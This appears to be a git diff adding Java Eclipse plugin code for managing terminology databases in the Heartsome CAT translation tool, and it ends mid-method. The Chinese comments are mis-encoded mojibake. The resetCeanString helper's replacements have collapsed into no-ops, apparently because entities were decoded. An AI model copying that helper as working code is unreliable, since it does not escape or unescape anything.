/dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/NewTBHandler.java @@ -0,0 +1,35 @@ +package net.heartsome.cat.database.ui.tb.handler; + +import net.heartsome.cat.database.ui.tb.wizard.NewTermDbWizard; +import net.heartsome.cat.database.ui.tb.wizard.TermDbManagerImportWizardDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.LoggerFactory; + +/** + * 新建术语库的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class NewTBHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(NewTBHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + NewTermDbWizard wizard = new NewTermDbWizard(); + TermDbManagerImportWizardDialog dialog = new TermDbManagerImportWizardDialog(window.getShell(), wizard); + dialog.open(); + return null; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/TermBaseSearchHandler.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/TermBaseSearchHandler.java new file mode 100644 index 0000000..f8b2c49 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/TermBaseSearchHandler.java @@ -0,0 +1,75 @@ +package net.heartsome.cat.database.ui.tb.handler; + +import java.util.List; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog; +import net.heartsome.cat.database.ui.tb.resource.Messages; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IProject; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.LoggerFactory; + +/** + * æœç´¢æœ¯è¯­åº“çš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class TermBaseSearchHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + if (!isEnabled()) { + return null; + } + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof IXliffEditor) { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(TermBaseSearchHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + IXliffEditor xliffEditor = (IXliffEditor) editor; + IProject project = ((FileEditorInput) editor.getEditorInput()).getFile().getProject(); + ProjectConfiger projectConfig = ProjectConfigerFactory.getProjectConfiger(project); + List lstDatabase = projectConfig.getTermBaseDbs(false); + if (lstDatabase == null || lstDatabase.size() == 0) { + MessageDialog.openInformation(HandlerUtil.getActiveShell(event), + Messages.getString("handler.TermBaseSearchHandler.msgTitle"), + Messages.getString("handler.TermBaseSearchHandler.msg")); + return null; + } + String selectText = xliffEditor.getSelectPureText(); + if ((selectText == null || selectText.equals("")) && xliffEditor.getSelectedRowIds().size() == 1) { + selectText = xliffEditor.getXLFHandler().getSrcPureText(xliffEditor.getSelectedRowIds().get(0)); + selectText = resetCeanString(selectText); + } + TermBaseSearchDialog dialog = new TermBaseSearchDialog(editor.getSite().getShell(), project, + xliffEditor.getSrcColumnName(), xliffEditor.getTgtColumnName(), selectText.trim()); + dialog.open(); + if (selectText != null && !selectText.trim().equals("")) { + dialog.search(); + } + } + return null; + } + + public static String resetCeanString(String string) { + string = string.replaceAll("<", "<" ); + string = string.replaceAll(">", ">"); +// string = string.replaceAll(""", "\""); + string = string.replaceAll("&", "&"); + return string; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/TermDbManageHandler.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/TermDbManageHandler.java new file mode 100644 index 0000000..51c808d --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/TermDbManageHandler.java @@ -0,0 +1,49 @@ +/** + * TermDbManageHandler.java + * + * Version information : + * + * Date:2012-5-3 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.handler; + +import net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog; +import net.heartsome.cat.ts.help.SystemResourceUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.LoggerFactory; + + + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class TermDbManageHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(TermDbManageHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + SystemResourceUtil.load(); + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + TermDbManagerDialog dialog = new TermDbManagerDialog(window.getShell()); + dialog.setDialogUseFor(TermDbManagerDialog.TYPE_DBMANAGE); + dialog.open(); + return null; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/newproject/NewProjectTbPage.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/newproject/NewProjectTbPage.java new file mode 100644 index 0000000..15e5625 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/newproject/NewProjectTbPage.java @@ -0,0 +1,472 @@ +package net.heartsome.cat.database.ui.tb.newproject; + +import java.io.File; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.ui.HSDropDownButton; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tb.Activator; +import net.heartsome.cat.database.ui.tb.ImageConstants; +import net.heartsome.cat.database.ui.tb.Utils; +import net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog; +import net.heartsome.cat.database.ui.tb.resource.Messages; +import net.heartsome.cat.database.ui.tb.wizard.NewTermDbWizard; +import net.heartsome.cat.database.ui.tb.wizard.TbxImportWizard; +import net.heartsome.cat.database.ui.tb.wizard.TermDbManagerImportWizardDialog; +import net.heartsome.cat.ts.ui.extensionpoint.AbstractNewProjectWizardPage; + +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.CellEditor; +import org.eclipse.jface.viewers.CheckboxCellEditor; +import org.eclipse.jface.viewers.ColumnLabelProvider; +import org.eclipse.jface.viewers.EditingSupport; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.window.Window; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class NewProjectTbPage extends AbstractNewProjectWizardPage { + + private static final Logger LOGGER = LoggerFactory.getLogger(NewProjectTbPage.class); + + private TableViewer tableViewer; + private List curDbList; + private Image checkedImage = Activator.getImageDescriptor(ImageConstants.CHECKED).createImage(); + private Image uncheckedImage = Activator.getImageDescriptor(ImageConstants.UNCHECKED).createImage(); + + /** + * Create the wizard. + */ + public NewProjectTbPage() { + super("wizardPage", "TB"); + setTitle(Messages.getString("newproject.NewProjectTbPage.title")); + setDescription(Messages.getString("newproject.NewProjectTbPage.desc")); + curDbList = new ArrayList(); + } + + /** + * Create contents of the wizard. + * @param parent + */ + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(1, false)); + + tableViewer = new TableViewer(container, SWT.BORDER | SWT.FULL_SELECTION | SWT.SINGLE); + Table table = tableViewer.getTable(); + table.setLinesVisible(true); + table.setHeaderVisible(true); + table.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + tableViewer.setContentProvider(new ArrayContentProvider()); + createColumn(tableViewer); + tableViewer.setInput(curDbList); + tableViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection selection = (IStructuredSelection) tableViewer.getSelection(); + DatabaseModelBean dbModel = (DatabaseModelBean) selection.getFirstElement(); + if (dbModel != null && !dbModel.isHasMatch()) { + setMessage(Messages.getString("newproject.NewProjectTbPage.msg1")); + } else { + setMessage(null); + } + } + }); + + Composite composite = new Composite(container, SWT.NONE); + composite.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + composite.setLayout(new GridLayout(5, false)); + new Label(composite, SWT.NONE); + + HSDropDownButton addBtn = new HSDropDownButton(composite, SWT.NONE); + addBtn.setText(Messages.getString("newproject.NewProjectTbPage.addBtn")); + Menu addMenu = addBtn.getMenu(); + MenuItem item = new MenuItem(addMenu, SWT.PUSH); + item.setText(Messages.getString("tb.dialog.addTb.DropDownButton.AddFileTb")); + item.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent e) { + FileDialog fileDialg = new FileDialog(getShell()); + fileDialg.setFilterExtensions(new String[] { "*.hstb", "*.*" }); + String result = fileDialg.open(); + if (result == null) { + return; + } + File f = new File(result); + if (!f.exists()) { + return; + } + Map r = null; + try { + r = Utils.convertFile2TbModel(f, false); + } catch (Exception e1) { + MessageDialog.openError(getShell(), Messages.getString("tb.dialog.addFileTb.errorTitle"), + e1.getMessage()); + } + if (r == null) { + return; + } + Iterator it = r.keySet().iterator(); + if (it.hasNext()) { + DatabaseModelBean selectedVal = it.next(); + List dbList = new ArrayList(); + dbList.add(selectedVal); + addToCurrDbList(dbList); + } + } + }); + MenuItem serverItem = new MenuItem(addMenu, SWT.PUSH); + serverItem.setText(Messages.getString("tb.dialog.addTb.DropDownButton.AddServerTb")); + serverItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + TermDbManagerDialog dialog = new TermDbManagerDialog(getShell()); + dialog.setDialogUseFor(TermDbManagerDialog.TYPE_DBSELECTED); + if (dialog.open() == Window.OK) { + Iterator it = dialog.getHasSelectedDatabase().keySet().iterator(); + List dbList = new ArrayList(); + while (it.hasNext()) { + dbList.add(it.next()); + } + addToCurrDbList(dbList); + } + } + }); + + Button createBtn = new Button(composite, SWT.NONE); + createBtn.setText(Messages.getString("newproject.NewProjectTbPage.createBtn")); + createBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + NewTermDbWizard wizard = new NewTermDbWizard(); + TermDbManagerImportWizardDialog dlg = new TermDbManagerImportWizardDialog(getShell(), wizard); + if (dlg.open() == 0) { + DatabaseModelBean dbModel = wizard.getCreateDb(); + List dbList = new ArrayList(1); + dbList.add(dbModel); + addToCurrDbList(dbList); + } + } + }); + + Button removeBtn = new Button(composite, SWT.NONE); + removeBtn.setText(Messages.getString("newproject.NewProjectTbPage.removeBtn")); + removeBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + removeForCurrDbList((IStructuredSelection) tableViewer.getSelection()); + } + }); + + Button importTmxBtn = new Button(composite, SWT.NONE); + importTmxBtn.setText(Messages.getString("newproject.NewProjectTbPage.importTmxBtn")); + importTmxBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + IStructuredSelection selection = (IStructuredSelection) tableViewer.getSelection(); + Iterator it = selection.iterator(); + if (it.hasNext()) { + DatabaseModelBean dbModel = (DatabaseModelBean) it.next(); + TbxImportWizard wizard = new TbxImportWizard(dbModel); + TermDbManagerImportWizardDialog dlg = new TermDbManagerImportWizardDialog(getShell(), wizard); + if (dlg.open() == 0) { + checkDbHashMatch(dbModel); + tableViewer.refresh(); + } + } else { + MessageDialog.openInformation(getShell(), + Messages.getString("newproject.NewProjectTbPage.msgTitle"), + Messages.getString("newproject.NewProjectTbPage.msg1")); + } + } + }); + addBtn.setFocus(); + setControl(container); + } + + private void addToCurrDbList(List hasSelection) { + StringBuffer dbNames = new StringBuffer(); + for (int i = 0; i < hasSelection.size(); i++) { + DatabaseModelBean dbModel = hasSelection.get(i); + + checkDbHashMatch(dbModel); + if (!checkDbIsExist(curDbList, dbModel)) { // 判断当å‰æ˜¯å¦å·²ç»å­˜åœ¨äº† + if (curDbList.size() == 0) { // 第一个添加的库为默认库 + dbModel.setDefault(true); + } + curDbList.add(dbModel); + this.tableViewer.refresh(); + } else { + dbNames.append(dbModel.getDbName()); + dbNames.append("\n"); + } + } + if (dbNames.length() != 0) { + MessageDialog.openInformation(getShell(), Messages.getString("newproject.NewProjectTbPage.msgTitle"), + Messages.getString("newproject.NewProjectTbPage.msg2") + dbNames.toString()); + } + } + + /** + * 检查当å‰åº“是å¦å·²ç»å­˜åœ¨ + * @param b + * @return ; + */ + private boolean checkDbIsExist(List curDbList, DatabaseModelBean b) { + for (int i = 0; i < curDbList.size(); i++) { + DatabaseModelBean a = (DatabaseModelBean) curDbList.get(i); + String dbname = a.getDbName(); + String host = a.getHost(); + String port = a.getPort(); + String instance = a.getInstance(); + String localPath = a.getItlDBLocation(); + if (b.getDbName().equals(dbname) && b.getHost().equals(host) && b.getItlDBLocation().equals(localPath) + && b.getPort().equals(port) && b.getInstance().equals(instance)) { + return true; + } + } + return false; + } + + private void removeForCurrDbList(IStructuredSelection selection) { + curDbList.removeAll(selection.toList()); + this.tableViewer.remove(selection.toArray()); + } + + /** + * 针对添加,创建,删除,导入TMX的事件å“应 + * @see org.eclipse.swt.widgets.Listener#handleEvent(org.eclipse.swt.widgets.Event) + */ + public void handleEvent(Event event) { + + } + + /** + * 创建Table列 + * @param viewer + * ; + */ + private void createColumn(final TableViewer viewer) { + String[] clmnTitles = { Messages.getString("newproject.NewProjectTbPage.clmnTitles1"), + Messages.getString("newproject.NewProjectTbPage.clmnTitles2"), + Messages.getString("newproject.NewProjectTbPage.clmnTitles3"), + Messages.getString("newproject.NewProjectTbPage.clmnTitles4"), + Messages.getString("newproject.NewProjectTbPage.clmnTitles5") }; + int[] clmnBounds = { 100, 100, 200, 90, 70 }; + + TableViewerColumn col = createTableViewerColumn(viewer, clmnTitles[0], clmnBounds[0], 0); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + return dbModel.getDbName(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[1], clmnBounds[1], 1); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.getDbType().equals(Constants.DBTYPE_SQLITE)) { + return Messages.getString("tb.dbtype.sqlite"); + } + return dbModel.getDbType(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[2], clmnBounds[2], 2); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.getDbType().equals(Constants.DBTYPE_INTERNALDB) + || dbModel.getDbType().equals(Constants.DBTYPE_SQLITE)) { + return dbModel.getItlDBLocation(); + } + return dbModel.getHost(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[3], clmnBounds[3], 3); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.isHasMatch()) { + return Messages.getString("newproject.NewProjectTbPage.yes"); + } else { + return Messages.getString("newproject.NewProjectTbPage.no"); + } + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[4], clmnBounds[4], 4); + col.setLabelProvider(new ColumnLabelProvider() { + public Image getImage(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + if (dbModel.isDefault()) { + return checkedImage; + } else { + return uncheckedImage; + } + } + + public String getText(Object element) { + return null; + } + }); + col.setEditingSupport(new ReadableEditingSupport(viewer)); + } + + /** + * 设置TableViewer 列属性 + * @param viewer + * @param title + * 列标题 + * @param bound + * 列宽 + * @param colNumber + * 列åºå· + * @return {@link TableViewerColumn}; + */ + private TableViewerColumn createTableViewerColumn(TableViewer viewer, String title, int bound, final int colNumber) { + final TableViewerColumn viewerColumn = new TableViewerColumn(viewer, SWT.NONE | SWT.Resize); + final TableColumn column = viewerColumn.getColumn(); + column.setText(title); + column.setWidth(bound); + column.setResizable(true); + column.setMoveable(true); + return viewerColumn; + + } + + /** + * Cell Editing Support for readable + * @author Jason + * @version + * @since JDK1.6 + */ + protected class ReadableEditingSupport extends EditingSupport { + private final TableViewer viewer; + + public ReadableEditingSupport(TableViewer viewer) { + super(viewer); + this.viewer = viewer; + } + + @Override + protected CellEditor getCellEditor(Object element) { + return new CheckboxCellEditor(null, SWT.CHECK); + } + + @Override + protected boolean canEdit(Object element) { + return true; + } + + @Override + protected Object getValue(Object element) { + DatabaseModelBean dbModel = (DatabaseModelBean) element; + return dbModel.isDefault(); + } + + @Override + protected void setValue(Object element, Object value) { + if (!(Boolean) value) { + return; + } + // 实现å•é€‰ + List dbList = (List) viewer.getInput(); + for (int i = 0; i < dbList.size(); i++) { + ((DatabaseModelBean) dbList.get(i)).setDefault(false); + } + // 实现å•é€‰ + + // 执行修改 + DatabaseModelBean dbModel = (DatabaseModelBean) element; + dbModel.setDefault((Boolean) value); + + // 刷新 + viewer.refresh(); + } + } + + /** + * 需è¦è°ƒç”¨Databaseæ¨¡å— æ£€æŸ¥å½“å‰é¡¹ç›®åœ¨åº“中是å¦æœ‰è¯­è¨€å¯¹çš„åŒ¹é… + * @param dbModel + * æ•°æ®åº“ä¿¡æ¯; + */ + private void checkDbHashMatch(DatabaseModelBean dbModel, String type) { + DBOperator dbOp = DatabaseService.getDBOperator(dbModel.toDbMetaData()); + try { + dbOp.start(); + dbModel.setHasMatch(dbOp.checkHasMatchs(super.projSourceLang.getCode(), type)); + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + dbModel.setHasMatch(false); + } finally { + try { + if (dbOp != null) { + dbOp.end(); + } + } catch (SQLException e) { + LOGGER.error("", e); + } + } + } + + /** + * 需è¦è°ƒç”¨Databaseæ¨¡å— æ£€æŸ¥å½“å‰é¡¹ç›®åœ¨åº“中是å¦æœ‰è¯­è¨€å¯¹çš„åŒ¹é… + * @param dbModel + * æ•°æ®åº“ä¿¡æ¯; + */ + private void checkDbHashMatch(DatabaseModelBean dbModel) { + checkDbHashMatch(dbModel, "B"); + } + + @Override + public List getSelectedDatabase() { + List tbDbList = new ArrayList(); + for (int i = 0; i < curDbList.size(); i++) { + tbDbList.add((DatabaseModelBean) curDbList.get(i)); + } + return tbDbList; + } + + @Override + public void dispose() { + if (checkedImage != null && !checkedImage.isDisposed()) { + checkedImage.dispose(); + } + if (uncheckedImage != null && !uncheckedImage.isDisposed()) { + uncheckedImage.dispose(); + } + super.dispose(); + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/preference/TBDatabaseInitializer.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/preference/TBDatabaseInitializer.java new file mode 100644 index 0000000..a5dda94 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/preference/TBDatabaseInitializer.java @@ -0,0 +1,50 @@ +/** + * TBDatabaseInitializer.java + * + * Version information : + * + * Date:2012-5-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.preference; + +import net.heartsome.cat.database.bean.TBPreferenceConstants; +import net.heartsome.cat.database.ui.tb.Activator; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.ui.PlatformUI; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class TBDatabaseInitializer extends AbstractPreferenceInitializer { + + /** (non-Javadoc) + * @see org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer#initializeDefaultPreferences() + */ + @Override + public void initializeDefaultPreferences() { + // 设置术语库默认更新策略 + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + store.setDefault(TBPreferenceConstants.TB_UPDATE, TBPreferenceConstants.TB_REPEAT_OVERWRITE); + + + // åˆå§‹åŒ–新建å‘导记ä½ä¿¡æ¯ + store.setDefault(TBPreferenceConstants.TB_RM_DBTYPE, ""); + store.setDefault(TBPreferenceConstants.TB_RM_INSTANCE, ""); + store.setDefault(TBPreferenceConstants.TB_RM_SERVER, ""); + store.setDefault(TBPreferenceConstants.TB_RM_PORT, ""); + store.setDefault(TBPreferenceConstants.TB_RM_PATH, ""); + store.setDefault(TBPreferenceConstants.TB_RM_USERNAME, ""); + store.setDefault(TBPreferenceConstants.TB_CASE_SENSITIVE, true); + PlatformUI.getPreferenceStore().setDefault(TBPreferenceConstants.TB_CASE_SENSITIVE,true); + } + +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/preference/TBDatabasePage.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/preference/TBDatabasePage.java new file mode 100644 index 0000000..0e19799 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/preference/TBDatabasePage.java @@ -0,0 +1,166 @@ +package net.heartsome.cat.database.ui.tb.preference; + +import net.heartsome.cat.database.bean.TBPreferenceConstants; +import net.heartsome.cat.database.ui.tb.Activator; +import net.heartsome.cat.database.ui.tb.resource.Messages; +import net.heartsome.cat.common.ui.HsImageLabel; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; +import org.eclipse.ui.PlatformUI; + +/** + * 首选项>æœ¯è¯­åº“è®¾ç½®ç•Œé¢ + * @author peason + * @version + * @since JDK1.6 + */ +public class TBDatabasePage extends PreferencePage implements IWorkbenchPreferencePage { + + public static final String ID = "net.heartsome.cat.database.ui.tb.preference.tbpage"; + + private IPreferenceStore preferenceStore; + + /** 术语库更新设置 > 始终增加å•é€‰æŒ‰é’® */ + private Button btnAlwaysAdd; + + /** 术语库更新设置 > é‡å¤è¦†ç›–å•é€‰æŒ‰é’® */ + private Button btnRepeatOverwrite; + + /** 术语库更新设置 > é‡å¤åˆå¹¶å•é€‰æŒ‰é’® */ + private Button btnRepeatMerge; + + /** 术语库更新设置 > é‡å¤å¿½ç•¥å•é€‰æŒ‰é’® */ + private Button btnRepeatIgnore; + + + private Button btnCaseSensitive; + + /** + * 构造函数 + */ + public TBDatabasePage() { + setTitle(Messages.getString("preference.TBDatabasePage.title")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + } + + public void init(IWorkbench workbench) { + // TODO Auto-generated method stub + + } + + @Override + protected Control createContents(Composite parent) { + // TODO Auto-generated method stub + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + // 添加术语匹é…是å¦å¿½ç•¥å¤§å°å†™ + { + Group commonGroup1 = new Group(tparent, SWT.NONE); + commonGroup1.setLayout(new GridLayout()); + commonGroup1.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + commonGroup1.setText(Messages.getString("preference.TBDatabasePage.commontitle")); + + HsImageLabel imageLbale1 = new HsImageLabel(Messages.getString("preference.TBDatabasePage.commonsearchterm"), + Activator.getImageDescriptor("images/preference/tb/tb_update_32.png")); + Composite comp1 = imageLbale1.createControl(commonGroup1); + + btnCaseSensitive = new Button(comp1, SWT.CHECK); + btnCaseSensitive.setText(Messages.getString("preference.TBDatabasePage.commonCasesensitive")); + btnCaseSensitive.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + imageLbale1.computeSize(); + } + Group commonGroup = new Group(tparent, SWT.NONE); + commonGroup.setLayout(new GridLayout()); + commonGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + commonGroup.setText(Messages.getString("preference.TBDatabasePage.commonGroup")); + + HsImageLabel imageLbale = new HsImageLabel(Messages.getString("preference.TBDatabasePage.imageLbale"), + Activator.getImageDescriptor("images/preference/tb/tb_update_32.png")); + Composite comp = imageLbale.createControl(commonGroup); + + btnAlwaysAdd = new Button(comp, SWT.RADIO); + btnAlwaysAdd.setText(Messages.getString("preference.TBDatabasePage.btnAlwaysAdd")); + btnAlwaysAdd.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnRepeatOverwrite = new Button(comp, SWT.RADIO); + btnRepeatOverwrite.setText(Messages.getString("preference.TBDatabasePage.btnRepeatOverwrite")); + btnRepeatOverwrite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnRepeatMerge = new Button(comp, SWT.RADIO); + btnRepeatMerge.setText(Messages.getString("preference.TBDatabasePage.btnRepeatMerge")); + btnRepeatMerge.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnRepeatIgnore = new Button(comp, SWT.RADIO); + btnRepeatIgnore.setText(Messages.getString("preference.TBDatabasePage.btnRepeatIgnore")); + btnRepeatIgnore.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + parent.pack(); + imageLbale.computeSize(); + + int intUpdateTB = preferenceStore.getInt(TBPreferenceConstants.TB_UPDATE); + setInitValues(intUpdateTB); + return parent; + } + + @Override + public boolean performOk() { + if (btnAlwaysAdd.getSelection()) { + preferenceStore.setValue(TBPreferenceConstants.TB_UPDATE, TBPreferenceConstants.TB_ALWAYS_ADD); + } else if (btnRepeatOverwrite.getSelection()) { + preferenceStore.setValue(TBPreferenceConstants.TB_UPDATE, TBPreferenceConstants.TB_REPEAT_OVERWRITE); + } else if (btnRepeatMerge.getSelection()) { + preferenceStore.setValue(TBPreferenceConstants.TB_UPDATE, TBPreferenceConstants.TB_REPEAT_MERGE); + } else if (btnRepeatIgnore.getSelection()) { + 